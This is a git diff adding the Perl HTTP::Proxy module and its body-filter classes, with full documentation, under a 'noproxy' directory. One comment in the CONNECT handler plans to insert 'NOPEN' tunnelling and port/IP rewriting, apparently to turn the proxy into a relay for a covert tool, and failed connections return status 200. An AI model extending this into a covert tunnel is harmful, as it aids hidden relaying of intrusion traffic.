$self->_handle_CONNECT($served); + return if $last; + } + + # the header filters created a response, + # we won't contact the origin server + # FIXME should the response header and body be filtered? + goto SEND if defined $self->response; + + # FIXME - don't forward requests to ourselves! + + # pop a response + my ( $sent, $chunked ) = ( 0, 0 ); + $response = $self->agent->simple_request( + $req, + sub { + my ( $data, $response, $proto ) = @_; + + # first time, filter the headers + if ( !$sent ) { + $sent++; + $self->response( $response ); + + # select the response filters + $self->{$_}{response}->select_filters( $response ) + for qw( headers body ); + + $self->{headers}{response} + ->filter( $response->headers, $response ); + ( $last, $chunked ) = + $self->_send_response_headers( $served ); + } + + # filter and send the data + $self->log( DATA, "DATA", + "got " . length($data) . " bytes of body data" ); + $self->{body}{response}->filter( \$data, $response, $proto ); + if ($chunked) { + printf $conn "%x$CRLF%s$CRLF", length($data), $data + if length($data); # the filter may leave nothing + } + else { print $conn $data; } + }, + $self->chunk + ); + + # remove the header added by LWP::UA before it sends the response back + $response->remove_header('Client-Date'); + + # do a last pass, in case there was something left in the buffers + my $data = ""; # FIXME $protocol is undef here too + $self->{body}{response}->filter_last( \$data, $response, undef ); + if ( length $data ) { + if ($chunked) { + printf $conn "%x$CRLF%s$CRLF", length($data), $data; + } + else { print $conn $data; } + } + + # last chunk + print $conn "0$CRLF$CRLF" if $chunked; # no trailers either + $self->response($response); + + # the callback is not called by LWP::UA->request + # in some case (HEAD, error) + if ( !$sent ) { + $self->response($response); + $self->{$_}{response}->select_filters( $response ) + for qw( headers body ); + $self->{headers}{response} + ->filter( $response->headers, $response ); + } + + # what about X-Died and X-Content-Range? + if( my $died = $response->header('X-Died') ) { + $self->log( ERROR, "ERROR", $died ); + $sent = 0; + $response = HTTP::Response->new( 500, "Proxy filter error" ); + $response->content_type( "text/plain" ); + $response->content($died); + $self->response($response); + } + + SEND: + + $response = $self->response ; + + # responses that weren't filtered through callbacks + # (empty body or error) + # FIXME some error response headers might not be filtered + if ( !$sent ) { + $self->{$_}{response}->select_filters( $response ) + for qw( headers body ); + ($last, $chunked) = $self->_send_response_headers( $served ); + my $content = $response->content; + if ($chunked) { + printf $conn "%x$CRLF%s$CRLF", length($content), $content + if length($content); # the filter may leave nothing + print $conn "0$CRLF$CRLF"; + } + else { print $conn $content; } + } + + # FIXME ftp, gopher + $conn->print( $response->content ) + if defined $req->uri->scheme + and $req->uri->scheme =~ /^(?:ftp|gopher)$/ + and $response->is_success; + + $self->log( SOCKET, "SOCKET", "Connection closed by the proxy" ), last + if $last || $served >= $self->max_keep_alive_requests; + } + $self->log( SOCKET, "SOCKET", "Connection closed by the client" ) + if !$last + and $served < $self->max_keep_alive_requests; + $self->log( PROCESS, "PROCESS", "Served $served requests" ); + $conn->close; +} + +# INTERNAL METHOD +# send the response headers for the proxy +# expects $served (number of requests served) +# returns $last and $chunked (last request served, chunked encoding) +sub _send_response_headers { + my ( $self, $served ) = @_; + my ( $last, $chunked ) = ( 0, 0 ); + my $conn = $self->client_socket; + my $response = $self->response; + + # correct headers + $response->remove_header("Content-Length") + if $self->{body}{response}->will_modify(); +# $response->header( Server => "HTTP::Proxy/$VERSION" ) +# unless $response->header( 'Server' ); + $response->header( Date => time2str(time) ) + unless $response->header( 'Date' ); + + # this is adapted from HTTP::Daemon + if ( $conn->antique_client ) { $last++ } + else { + my $code = $response->code; + $conn->send_status_line( $code, $response->message, + $self->request()->protocol() ); + if ( $code =~ /^(1\d\d|[23]04)$/ ) { + + # make sure content is empty + $response->remove_header("Content-Length"); + $response->content(''); + } + elsif ( $response->request && $response->request->method eq "HEAD" ) + { # probably OK, says HTTP::Daemon + } + else { + if ( $conn->proto_ge("HTTP/1.1") ) { + $chunked++; + $response->push_header( "Transfer-Encoding" => "chunked" ); + $response->push_header( "Connection" => "close" ) + if $served >= $self->max_keep_alive_requests; + } + else { + $last++; + $conn->force_last_request; + } + } + print $conn $response->headers_as_string($CRLF); + print $conn $CRLF; # separates headers and content + } + $self->log( STATUS, "RESPONSE", $response->status_line ); + $self->log( HEADERS, "RESPONSE", $response->headers->as_string ); + return ($last, $chunked); +} + +# INTERNAL method +# FIXME no man-in-the-middle for now +sub _handle_CONNECT { + my ($self, $served) = @_; + my $last = 0; + + my $conn = $self->client_socket; + my $req = $self->request; + #PRY NEED TO PUT THE NOPEN STUFF HERE (Create the appropriate tunnel and Modify the port/IP) + my $upstream = IO::Socket::INET->new( PeerAddr => $req->uri->host_port ); + unless( $upstream and $upstream->connected ) { + # 502 Bad Gateway / 504 Gateway Timeout + # Note to implementors: some deployed proxies are known to + # return 400 or 500 when DNS lookups time out. + my $response = HTTP::Response->new( 200 ); + $response->content_type( "text/plain" ); + $self->response($response); + return $last; + } + + # send the response headers (FIXME more headers required?) + my $response = HTTP::Response->new(200); + $self->response($response); + $self->{$_}{response}->select_filters( $response ) for qw( headers body ); + + $self->_send_response_headers( $served ); + + # we now have a TCP connection + $last = 1; + + my $select = IO::Select->new; + for ( $conn, $upstream ) { + $_->autoflush(1); + $_->blocking(0); + $select->add($_); + } + + # loop while there is data + while ( my @ready = $select->can_read ) { + for (@ready) { + my $data = ""; + my ($sock, $peer, $from ) = $conn eq $_ + ? ( $conn, $upstream, "client" ) + : ( $upstream, $conn, "server" ); + + # read the data + my $read = $sock->sysread( $data, 4096 ); + + # check for errors + if(not defined $read ) { + $self->log( ERROR, "CONNECT", "Read undef from $from ($!)" ); + next; + } + + # end of connection + if ( $read == 0 ) { + $_->close for ( $sock, $peer ); + $select->remove( $sock, $peer ); + $self->log( SOCKET, "CONNECT", "Connection closed by the $from" ); + $self->log( PROCESS, "PROCESS", "Served $served requests" ); + next; + } + + # proxy the data + $self->log( CONNECT, "CONNECT", "$read bytes received from $from" ); + $peer->syswrite($data, length $data); + } + } + $self->log( CONNECT, "CONNECT", "End of CONNECT proxyfication"); + return $last; +} + +sub push_filter { + my $self = shift; + my %arg = ( + mime => 'text/*', + method => join( ',', @METHODS ), + scheme => 'http', + host => '', + path => '', + query => '', + ); + + # parse parameters + for( my $i = 0; $i < @_ ; $i += 2 ) { + next if $_[$i] !~ /^(mime|method|scheme|host|path|query)$/; + $arg{$_[$i]} = $_[$i+1]; + splice @_, $i, 2; + $i -= 2; + } + croak "Odd number of arguments" if @_ % 2; + + # the proxy must be initialised + $self->init; + + # prepare the variables for the closure + my ( $mime, $method, $scheme, $host, $path, $query ) = + @arg{qw( mime method scheme host path query )}; + + if ( defined $mime && $mime ne '' ) { + $mime =~ m!/! or croak "Invalid MIME type definition: $mime"; + $mime =~ s/\*/$RX{token}/; #turn it into a regex + $mime = qr/^$mime(?:$|\s*;?)/; + } + + my @method = split /\s*,\s*/, $method; + for (@method) { croak "Invalid method: $_" if !/$RX{method}/ } + $method = @method ? '(?:' . join ( '|', @method ) . ')' : ''; + $method = qr/^$method$/; + + my @scheme = split /\s*,\s*/, $scheme; + for (@scheme) { + croak "Unsupported scheme: $_" + if !$self->is_protocol_supported($_); + } + $scheme = @scheme ? '(?:' . join ( '|', @scheme ) . ')' : ''; + $scheme = qr/$scheme/; + + $host ||= '.*'; $host = qr/$host/i; + $path ||= '.*'; $path = qr/$path/; + $query ||= '.*'; $query = qr/$query/; + + # push the filter and its match method on the correct stack + while(@_) { + my ($message, $filter ) = (shift, shift); + croak "'$message' is not a filter stack" + unless $message =~ /^(request|response)$/; + + croak "Not a Filter reference for filter queue $message" + unless ref( $filter ) + && ( $filter->isa('HTTP::Proxy::HeaderFilter') + || $filter->isa('HTTP::Proxy::BodyFilter') ); + + my $stack; + $stack = 'headers' if $filter->isa('HTTP::Proxy::HeaderFilter'); + $stack = 'body' if $filter->isa('HTTP::Proxy::BodyFilter'); + + # MIME can only match on reponse + my $mime = $mime; + undef $mime if $message eq 'request'; + + # compute the match sub as a closure + # for $self, $mime, $method, $scheme, $host, $path + my $match = sub { + return 0 + if ( defined $mime ) + && ( $self->response->content_type || '' ) !~ $mime; + return 0 if ( $self->{request}->method || '' ) !~ $method; + return 0 if ( $self->{request}->uri->scheme || '' ) !~ $scheme; + return 0 if ( $self->{request}->uri->authority || '' ) !~ $host; + return 0 if ( $self->{request}->uri->path || '' ) !~ $path; + return 0 if ( $self->{request}->uri->query || '' ) !~ $query; + return 1; # it's a match + }; + + # push it on the corresponding FilterStack + $self->{$stack}{$message}->push( [ $match, $filter ] ); + $filter->proxy( $self ); + } +} + +sub is_protocol_supported { + my ( $self, $scheme ) = @_; + my $ok = 1; + if ( !$self->agent->is_protocol_supported($scheme) ) { + + # double check, in case a dummy scheme was added + # to be handled directly by a filter + $ok = 0; + $scheme eq $_ && $ok++ for @{ $self->agent->protocols_allowed }; + } + $ok; +} + +sub log { + my $self = shift; + my $level = shift; + my $fh = $self->logfh; + + return unless $self->logmask & $level || $level == ERROR; + + my ( $prefix, $msg ) = ( @_, '' ); + my @lines = split /\n/, $msg; + @lines = ('') if not @lines; + + flock( $fh, LOCK_EX ); + print $fh "[" . localtime() . "] ($$) $prefix: $_\n" for @lines; + flock( $fh, LOCK_UN ); +} + +1; + +__END__ + +=head1 NAME + +HTTP::Proxy - A pure Perl HTTP proxy + +=head1 SYNOPSIS + + use HTTP::Proxy; + + # initialisation + my $proxy = HTTP::Proxy->new( port => 3128 ); + + # alternate initialisation + my $proxy = HTTP::Proxy->new; + $proxy->port( 3128 ); # the classical accessors are here! + + # this is a MainLoop-like method + $proxy->start; + +=head1 DESCRIPTION + +This module implements a HTTP proxy, using a HTTP::Daemon to accept +client connections, and a LWP::UserAgent to ask for the requested pages. + +The most interesting feature of this proxy object is its ability to +filter the HTTP requests and responses through user-defined filters. + +Once the proxy is created, with the C method, it is possible +to alter its behaviour by adding so-called "filters". This is +done by the C method. Once the filter is ready to +run, it can be launched, with the C method. This method +does not normally return until the proxy is killed or otherwise +stopped. + +An important thing to note is that the proxy is (except when running +the C engine) a I proxy: it doesn't support passing +information between child processes, and you can count on reliable +information passing only during a single HTTP connection (request + +response). + +=head1 FILTERS + +You can alter the way the default HTTP::Proxy works by plugging callbacks +(filter objects, actually) at different stages of the request/response +handling. + +When a request is received by the HTTP::Proxy object, it is filtered through +a standard filter that transform this request accordingly to RFC 2616 +(by adding the C header, and a few other transformations). This is +the default, bare minimum behaviour. + +The response is also filtered in the same manner. There is a total of four +filter chains: C, C, C and +C. + +You can add your own filters to the default ones with the +C method. The method pushes a filter on the appropriate +filter stack. + + $proxy->push_filter( response => $filter ); + +The headers/body category is determined by the base class of the filter. +There are two base classes for filters, which are +C and C (the names +are self-explanatory). See the documentation of those two classes +to find out how to write your own header or body filters. + +The named parameter is used to determine the request/response part. + +It is possible to push the same filter on the request and response +stacks, as in the following example: + + $proxy->push_filter( request => $filter, response => $filter ); + +If several filters match the message, they will be applied in the order +they were pushed on their filter stack. + +Named parameters can be used to create the match routine. They are: + + method - the request method + scheme - the URI scheme + host - the URI authority (host:port) + path - the URI path + query - the URI query string + mime - the MIME type (for a response-body filter) + +The filters are applied only when all the the parameters match the +request or the response. All these named parameters have default values, +which are: + + method => 'OPTIONS,GET,HEAD,POST,PUT,DELETE,TRACE,CONNECT' + scheme => 'http' + host => '' + path => '' + query => '' + mime => 'text/*' + +The C parameter is a glob-like string, with a required C +character and a C<*> as a joker. Thus, C<*/*> matches I responses, +and C<""> those with no C header. To match any +reponse (with or without a C header), use C. + +The C parameter is only meaningful with the C +filter stack. It is ignored if passed to any other filter stack. + +The C and C parameters are strings consisting of +comma-separated values. The C and C parameters are regular +expressions. + +A match routine is compiled by the proxy and used to check if a particular +request or response must be filtered through a particular filter. + +It is also possible to push several filters on the same stack with +the same match subroutine: + + # convert italics to bold + $proxy->push_filter( + mime => 'text/html', + response => HTTP::Proxy::BodyFilter::tags->new(), + response => HTTP::Proxy::BodyFilter::simple->new( + sub { ${ $_[1] } =~ s!(!$1b>!ig } + ) + ); + +For more details regarding the creation of new filters, check the +C and C documentation. + +Here's an example of subclassing a base filter class: + + # fixes a common typo ;-) + # but chances are that this will modify a correct URL + { + package FilterPerl; + use base qw( HTTP::Proxy::BodyFilter ); + + sub filter { + my ( $self, $dataref, $message, $protocol, $buffer ) = @_; + $$dataref =~ s/PERL/Perl/g; + } + } + $proxy->push_filter( response => FilterPerl->new() ); + +Other examples can be found in the documentation for +C, C, +C, C. + + # a simple anonymiser + # see eg/anonymiser.pl for the complete code + $proxy->push_filter( + mime => undef, + request => HTTP::Proxy::HeaderFilter::simple->new( + sub { $_[0]->remove_header(qw( User-Agent From Referer Cookie )) }, + ), + response => HTTP::Proxy::HeaderFilter::simple->new( + sub { $_[0]->remove_header(qw( Set-Cookie )); }, + ) + ); + +IMPORTANT: If you use your own C, you must install it +before your calls to C, otherwise +the match method will make wrong assumptions about the schemes your +agent supports. + +NOTE: It is likely that possibility of changing the agent or the daemon +may disappear in future versions. + +=head1 METHODS + +=head2 Constructor and initialisation + +=over 4 + +=item new() + +The C method creates a new HTTP::Proxy object. All attributes can +be passed as parameters to replace the default. + +Parameters that are not C attributes will be ignored and +passed to the chosen C object. + +=item init() + +C initialise the proxy without starting it. It is usually not +needed. + +This method is called by C if needed. + +=item push_filter() + +The C method is used to add filters to the proxy. +It is fully described in section L. + +=back + +=head2 Accessors and mutators + +The HTTP::Proxy has several accessors and mutators. + +Called with arguments, the accessor returns the current value. +Called with a single argument, it sets the current value and +returns the previous one, in case you want to keep it. + +If you call a read-only accessor with a parameter, this parameter +will be ignored. + +The defined accessors are (in alphabetical order): + +=over 4 + +=item agent + +The LWP::UserAgent object used internally to connect to remote sites. + +=item chunk + +The chunk size for the LWP::UserAgent callbacks. + +=item client_socket (read-only) + +The socket currently connected to the client. Mostly useful in filters. + +=item client_headers + +This attribute holds a reference to the client headers set up by +LWP::UserAgent +(C, C, C, +C, C, C, +C, C, +C, C, C, +C, C). + +They are removed by the filter HTTP::Proxy::HeaderFilter::standard from +the request and response objects received by the proxy. + +If a filter (such as a SSL certificate verification filter) need to +access them, it must do it through this accessor. + +=item conn (read-only) + +The number of connections processed by this HTTP::Proxy instance. + +=item daemon + +The HTTP::Daemon object used to accept incoming connections. +(You usually never need this.) + +=item engine + +The HTTP::Proxy::Engine object that manages the child processes. + +=item hop_headers + +This attribute holds a reference to the hop-by-hop headers +(C, C, C, C, +C, C, C, C). + +They are removed by the filter HTTP::Proxy::HeaderFilter::standard from +the request and response objects received by the proxy. + +If a filter (such as a proxy authorisation filter) need to access them, +it must do it through this accessor. + +=item host + +The proxy HTTP::Daemon host (default: 'localhost'). + +This means that by default, the proxy answers only to clients on the +local machine. You can pass a specific interface address or C<"">/C +for any interface. + +This default prevents your proxy to be used as an anonymous proxy +by script kiddies. + +=item known_methods( @groups ) (read-only) + +This method returns all HTTP (and extensions to HTTP) known to +C. Methods are grouped by type. Known method groups are: +C, C and C. + +Called with an empty list, this method will return all known methods. +This method is case-insensitive, and will C if an unknown +group name is passed. + +=item logfh + +A filehandle to a logfile (default: *STDERR). + +=item logmask( [$mask] ) + +Be verbose in the logs (default: NONE). + +Here are the various elements that can be added to the mask (their values +are powers of 2, starting from 0 and listed here in ascending order): + + NONE - Log only errors + PROXY - Proxy information + STATUS - Requested URL, reponse status and total number + of connections processed + PROCESS - Subprocesses information (fork, wait, etc.) + SOCKET - Information about low-level sockets + HEADERS - Full request and response headers are sent along + FILTERS - Filter information + DATA - Data received by the filters + CONNECT - Data transmitted by the CONNECT method + ENGINE - Engine information + ALL - Log all of the above + +If you only want status and process information, you can use: + + $proxy->logmask( STATUS | PROCESS ); + +Note that all the logging constants are not exported by default, but +by the C<:log> tag. They can also be exported one by one. + +=item loop (read-only) + +Internal. False when the main loop is about to be broken. + +=item max_clients + +=item maxchild + +The maximum number of child process the HTTP::Proxy object will spawn +to handle client requests (default: depends on the engine). + +This method is currently delegated to the HTTP::Proxy::Engine object. + +C is deprecated and will disappear. + +=item max_connections + +=item maxconn + +The maximum number of TCP connections the proxy will accept before +returning from start(). 0 (the default) means never stop accepting +connections. + +C is deprecated. + +Note: C will be deprecated soon, for two reasons: 1) +it is more of an HTTP::Proxy::Engine attribute, 2) not all engines will +support it. + +=item max_keep_alive_requests + +=item maxserve + +The maximum number of requests the proxy will serve in a single connection. +(same as C in Apache) + +C is deprecated. + +=item port + +The proxy C port (default: 8080). + +=item request + +The request originaly received by the proxy from the user-agent, which +will be modified by the request filters. + +=item response + +The response received from the origin server by the proxy. It is +normally C until the proxy actually receives the beginning +of a response from the origin server. + +If one of the request filters sets this attribute, it "short-circuits" +the request/response scheme, and the proxy will return this response +(which is NOT filtered through the response filter stacks) instead of +the expected origin server response. This is useful for caching (though +Squid does it much better) and proxy authentication, for example. + +=item stash + +The stash is a hash where filters can store data to share between them. + +The stash() method can be used to set the whole hash (with a HASH reference). +To access individual keys simply do: + + $proxy->stash( 'bloop' ); + +To set it, type: + + $proxy->stash( bloop => 'owww' ); + +It's also possibly to get a reference to the stash: + + my $s = $filter->proxy->stash(); + $s->{bang} = 'bam'; + + # $proxy->stash( 'bang' ) will now return 'bam' + +B since the proxy forks for each TCP connection, the data is +only shared between filters in the same child process. + +=item timeout + +The timeout used by the internal LWP::UserAgent (default: 60). + +=item url (read-only) + +The url where the proxy can be reached. + +=item via + +The content of the Via: header. Setting it to an empty string will +prevent its addition. (default: C<$hostname (HTTP::Proxy/$VERSION)>) + +=item x_forwarded_for + +If set to a true value, the proxy will send the C header. +(default: true) + +=back + +=head2 Connection handling methods + +=over 4 + +=item start() + +This method works like Tk's C: you hand over control to the +C object you created and configured. + +If C is not zero, C will return after accepting +at most that many connections. It will return the total number of +connexions. + +=item serve_connections() + +This is the internal method used to handle each new TCP connection +to the proxy. + +=back + +=head2 Other methods + +=over 4 + +=item log( $level, $prefix, $message ) + +Adds C<$message> at the end of C, if $level matches C. +The C method also prints a timestamp. + +The output looks like: + + [Thu Dec 5 12:30:12 2002] ($$) $prefix: $message + +where C<$$> is the current processus id. + +If C<$message> is a multiline string, several log lines will be output, +each line starting with C<$prefix>. + +=item is_protocol_supported( $scheme ) + +Returns a boolean indicating if $scheme is supported by the proxy. + +This method is only used internaly. + +It is essential to allow HTTP::Proxy users to create "pseudo-schemes" +that LWP doesn't know about, but that one of the proxy filters can handle +directly. New schemes are added as follows: + + $proxy->init(); # required to get an agent + $proxy->agent->protocols_allowed( + [ @{ $proxy->agent->protocols_allowed }, 'myhttp' ] ); + +=item new_connection() + +Increase the proxy's TCP connections counter. Only used by +C objects. + +=back + +=head2 Apache-like attributes + +C has several Apache-like attributes that control the +way the HTTP and TCP connections are handled. + +The following attributes control the TCP connection. They are passed to +the underlying C, which may (or may not) use them +to change its behaviour. + +=over 4 + +=item start_servers + +Number of child process to fork at the beginning. + +=item max_clients + +Maximum number of concurrent TCP connections (i.e. child processes). + +=item max_requests_per_child + +Maximum number of TCP connections handled by the same child process. + +=item min_spare_servers + +Minimum number of inactive child processes. + +=item max_spare_servers + +Maximum number of inactive child processes. + +=back + +Those attributes control the HTTP connection: + +=over 4 + +=item keep_alive + +Support for keep alive HTTP connections. + +=item max_keep_alive_requests + +Maximum number of HTTP connections within a single TCP connection. + +=item keep_alive_timeout + +Timeout for keep-alive connection. + +=back + +=head1 EXPORTED SYMBOLS + +No symbols are exported by default. The C<:log> tag exports all the +logging constants. + +=head1 BUGS + +This module does not work under Windows, but I can't see why, and do not +have a development platform under that system. Patches and explanations +very welcome. + +I guess it is because C is not well supported. + + $proxy->maxchild(0); + +=over 4 + +=item However, David Fishburn says: + +This did not work for me under WinXP - ActiveState Perl 5.6, but it DOES +work on WinXP ActiveState Perl 5.8. + +=back + +Several people have tried to help, but we haven't found a way to make it work +correctly yet. + +As from version 0.16, the default engine is C. +Let me know if it works better. + +=head1 SEE ALSO + +L, L, +L, the examples in F. + +=head1 AUTHOR + +Philippe "BooK" Bruhat, Ebook@cpan.orgE. + +The module has its own web page at L +complete with older versions and repository snapshot. + +There are also two mailing-lists: http-proxy@mongueurs.net for general +discussion about C and http-proxy-cvs@mongueurs.net for +CVS commits emails. + +=head1 THANKS + +Many people helped me during the development of this module, either on +mailing-lists, IRC or over a beer in a pub... + +So, in no particular order, thanks to the libwww-perl team for such a +terrific suite of modules, perl-qa (tips for testing), the French Perl +I (for code tricks, beers and encouragements) and my growing +user base... C<;-)> + +I'd like to particularly thank Dan Grigsby, who's been using +C since 2003 (before the filter classes even existed). He is +apparently making a living from a product based on C. Thanks +a lot for your confidence in my work! + +=head1 COPYRIGHT + +Copyright 2002-2008, Philippe Bruhat. + +=head1 LICENSE + +This module is free software; you can redistribute it or modify it under +the same terms as Perl itself. + +=cut + + diff --git a/Linux/bin/noproxy/HTTP/Proxy/BodyFilter.pm b/Linux/bin/noproxy/HTTP/Proxy/BodyFilter.pm new file mode 100755 index 0000000..2c0b28e --- /dev/null +++ b/Linux/bin/noproxy/HTTP/Proxy/BodyFilter.pm @@ -0,0 +1,261 @@ +package HTTP::Proxy::BodyFilter; + +use strict; +use Carp; + +sub new { + my $class = shift; + my $self = bless {}, $class; + $self->init(@_) if $self->can('init'); + return $self; +} + +sub proxy { + my ( $self, $new ) = @_; + return $new ? $self->{_hpbf_proxy} = $new : $self->{_hpbf_proxy}; +} + +sub filter { + croak "HTTP::Proxy::HeaderFilter cannot be used as a filter"; +} + +sub will_modify { 1 } # by default, we expect the filter to modify data + +1; + +__END__ + +=head1 NAME + +HTTP::Proxy::BodyFilter - A base class for HTTP messages body filters + +=head1 SYNOPSIS + + package MyFilter; + + use base qw( HTTP::Proxy::BodyFilter ); + + # a simple modification, that may break things + sub filter { + my ( $self, $dataref, $message, $protocol, $buffer ) = @_; + $$dataref =~ s/PERL/Perl/g; + } + + 1; + +=head1 DESCRIPTION + +The HTTP::Proxy::BodyFilter class is used to create filters for +HTTP request/response body data. + +=head2 Creating a BodyFilter + +A BodyFilter is just a derived class that implements some methods +called by the proxy. Of all the methods presented below, only +C B be defined in the derived class. + +=over 4 + +=item filter() + +The signature of the filter() method is the following: + + sub filter { + my ( $self, $dataref, $message, $protocol, $buffer ) = @_; + ... + } + +where $self is the filter object, $dataref is a reference to the chunk +of body data received, +$message is a reference to either a HTTP::Request or a HTTP::Response +object, and $protocol is a reference to the LWP::Protocol protocol object. + +Note that this subroutine signature looks a lot like that of the call- +backs of LWP::UserAgent (except that $message is either a HTTP::Request +or a HTTP::Response object). + +$buffer is a reference to a buffer where some of the unprocessed data +can be stored for the next time the filter will be called (see L for details). Thanks to the +built-in HTTP::Proxy::BodyFilter::* filters, this is rarely needed. + +It is possible to access the headers of the message with +C<< $message->headers() >>. This HTTP::Headers object is the one +that was sent to the client +(if the filter is on the response stack) or origin server (if the filter +is on the request stack). Modifying it in the filter() method is useless, +since the headers have already been sent. + +Since $dataref is a I to the data string, the referent +can be modified and the changes will be transmitted through the +filters that follows, until the data reaches its recipient. + +A HTTP::Proxy::BodyFilter object is a blessed hash, and the base class +reserves only hash keys that start with C<_hpbf>. + +=item new() + +The constructor is defined for all subclasses. Initialisation tasks +(if any) for subclasses should be done in the C method (see below). + +=item init() + +This method is called by the C constructeur to perform all +initisalisation tasks. It's called once in the filter lifetime. + +It receives all the parameters passed to C. + +=item begin() + +Some filters might require initialisation before they are able to handle +the data. If a C method is defined in your subclass, the proxy +will call it before sending data to the C method. + +It's called once per HTTP message handled by the filter, before data +processing begins. + +The method signature is as follows: + + sub begin { + my ( $self, $message ) = @_ + ... + } + +=item end() + +Some filters might require finalisation after they are finished handling +the data. If a C method is defined in your subclass, the proxy +will call it after it has finished sending data to the C method. + +It's called once per HTTP message handled by the filter, after all data +processing is done. + +This method does not expect any parameters. + +=item will_modify() + +This method return a boolean value that indicate if the filter will +modify the body data on the fly. + +The default implementation returns a I value. + +=back + +=head2 Using a buffer to store data for a later use + +Some filters cannot handle arbitrary data: for example a filter that +basically lowercases tag name will apply a simple regex +such as C\s*(\w+)([^E]*)E/E\L$1\E$2E/g>. +But the filter will fail is the chunk of data contains a tag +that is cut before the final C>. + +It would be extremely complicated and error-prone to let each filter +(and its author) do its own buffering, so the HTTP::Proxy architecture +handles this too. The proxy passes to each filter, each time it is called, +a reference to an empty string ($buffer in the above signature) that +the filter can use to store some data for next run. + +When the reference is C, it means that the filter cannot +store any data, because this is the very last run, needed to gather +all the data left in all buffers. + +It is recommended to store as little data as possible in the buffer, +so as to avoid (badly) reproducing what HTTP::Proxy::BodyFilter::complete +does. + +In particular, you have to remember that all the data that remains in +the buffer after the last piece of data is received from the origin +server will be sent back to your filter in one big piece. + +=head2 The store and forward approach + +HTTP::Proxy implements a I mechanism, for those filters +which need to have the whole message body to work. It's enabled simply by +pushing the HTTP::Proxy::BodyFilter::complete filter on the filter stack. + +The data is stored in memory by the "complete" filter, which passes it +on to the following filter once the full message body has been received. + +=head2 Standard BodyFilters + +Standard HTTP::Proxy::BodyFilter classes are lowercase. + +The following BodyFilters are included in the HTTP::Proxy distribution: + +=over 4 + +=item lines + +This filter makes sure that the next filter in the filter chain will +only receive complete lines. The "chunks" of data received by the +following filters with either end with C<\n> or will be the last +piece of data for the current HTTP message body. + +=item htmltext + +This class lets you create a filter that runs a given code reference +against text included in a HTML document (outside CscriptE> +and CstyleE> tags). HTML entities are not included in the text. + +=item htmlparser + +Creates a filter from a HTML::Parser object. + +=item simple + +This class lets you create a simple body filter from a code reference. + +=item save + +Store the message body to a file. + +=item complete + +This filter stores the whole message body in memory, thus allowing +some actions to be taken only when the full page has been received +by the proxy. + +=item tags + +The HTTP::Proxy::BodyFilter::tags filter makes sure that the next filter +in the filter chain will only receive complete tags. The current +implementation is not 100% perfect, though. + +=back + +Please read each filter's documentation for more details about their use. + +=head1 USEFUL METHODS FOR SUBCLASSES + +Some methods are available to filters, so that they can eventually use +the little knowledge they might have of HTTP::Proxy's internals. They +mostly are accessors. + +=over 4 + +=item proxy() + +Gets a reference to the HTTP::Proxy objects that owns the filter. +This gives access to some of the proxy methods. + +=back + +=head1 AUTHOR + +Philippe "BooK" Bruhat, Ebook@cpan.orgE. + +=head1 SEE ALSO + +L, L. + +=head1 COPYRIGHT + +Copyright 2003-2005, Philippe Bruhat. + +=head1 LICENSE + +This module is free software; you can redistribute it or modify it under +the same terms as Perl itself. + +=cut + diff --git a/Linux/bin/noproxy/HTTP/Proxy/BodyFilter/complete.pm b/Linux/bin/noproxy/HTTP/Proxy/BodyFilter/complete.pm new file mode 100755 index 0000000..c81b2a7 --- /dev/null +++ b/Linux/bin/noproxy/HTTP/Proxy/BodyFilter/complete.pm @@ -0,0 +1,114 @@ +package HTTP::Proxy::BodyFilter::complete; + +use strict; +use HTTP::Proxy; +use HTTP::Proxy::BodyFilter; +use vars qw( @ISA ); +@ISA = qw( HTTP::Proxy::BodyFilter ); +use Carp; + +sub filter { + my ( $self, $dataref, $message, $protocol, $buffer ) = @_; + return unless defined $buffer; + + $$buffer = $$dataref; + $$dataref = ""; +} + +sub will_modify { 0 } + +1; + +__END__ + +=head1 NAME + +HTTP::Proxy::BodyFilter::complete - A filter that passes on a complete body or nothing + +=head1 SYNOPSIS + + use HTTP::Proxy; + use HTTP::Proxy::BodyFilter::simple; + use HTTP::Proxy::BodyFilter::complete; + + my $proxy = HTTP::Proxy->new; + + # pass the complete response body to our filter (in one pass) + $proxy->push_filter( + mime => 'text/html', + response => HTTP::Proxy::BodyFilter::complete->new, + response => HTTP::Proxy::BodyFilter::simple->new( + sub { + my ( $self, $dataref, $message, $protocol, $buffer ) = @_; + # some complex processing that needs + # the whole response body + } + ); + ); + + $proxy->start; + +=head1 DESCRIPTION + +The HTTP::Proxy::BodyFilter::complete filter will ensure that the next +filter in the filter chain will only receive complete message bodies +(either request or response). + +It will store the chunks of data as they arrive, only to pass the B +message body after the whole message has been received by the proxy. + +Subsequent filters is the chain will receive the whole body as a big +piece of data. + +=head1 CAVEAT EMPTOR + +This consumes memory and time. + +Use with caution, otherwise your client will timeout, or your proxy will +run out of memory. + +Also note that all filters after C are still called when the +proxy receives data: they just receive empty data. They will receive +the complete data when the filter chain is called for the very last time +(the C<$buffer> parameter is C). (See the documentation of +L for details about the C<$buffer> parameter.) + +=head1 METHOD + +This filter defines two methods, called automatically: + +=over 4 + +=item filter() + +Stores the incoming data in memory until the last moment and passes +empty data to the subsequent filters in the chain. They will receive +the full body during the last round of filter calls. + +=item will_modify() + +This method returns a I value, thus indicating to the system +that it will not modify data passing through. + +=back + +=head1 AUTHOR + +Philippe "BooK" Bruhat, Ebook@cpan.orgE. + +=head1 THANKS + +Thanks to Simon Cozens and Merijn H. Brandt, who needed this almost at +the same time. C<;-)> + +=head1 COPYRIGHT + +Copyright 2004-2008, Philippe Bruhat. + +=head1 LICENSE + +This module is free software; you can redistribute it or modify it under +the same terms as Perl itself. + +=cut + diff --git a/Linux/bin/noproxy/HTTP/Proxy/BodyFilter/htmlparser.pm b/Linux/bin/noproxy/HTTP/Proxy/BodyFilter/htmlparser.pm new file mode 100755 index 0000000..f21ac08 --- /dev/null +++ b/Linux/bin/noproxy/HTTP/Proxy/BodyFilter/htmlparser.pm @@ -0,0 +1,149 @@ +package HTTP::Proxy::BodyFilter::htmlparser; + +use strict; +use Carp; +use HTTP::Proxy::BodyFilter; +use vars qw( @ISA ); +@ISA = qw( HTTP::Proxy::BodyFilter ); + +sub init { + croak "First parameter must be a HTML::Parser object" + unless $_[1]->isa('HTML::Parser'); + + my $self = shift; + $self->{_parser} = shift; + + my %args = (@_); + $self->{rw} = delete $args{rw}; +} + +sub filter { + my ( $self, $dataref, $message, $protocol, $buffer ) = @_; + + @{ $self->{_parser} }{qw( output message protocol )} = + ( "", $message, $protocol ); + + $self->{_parser}->parse($$dataref); + $self->{_parser}->eof if not defined $buffer; # last chunk + $$dataref = $self->{_parser}{output} if $self->{rw}; +} + +sub will_modify { $_[0]->{rw} } + +1; + +__END__ + 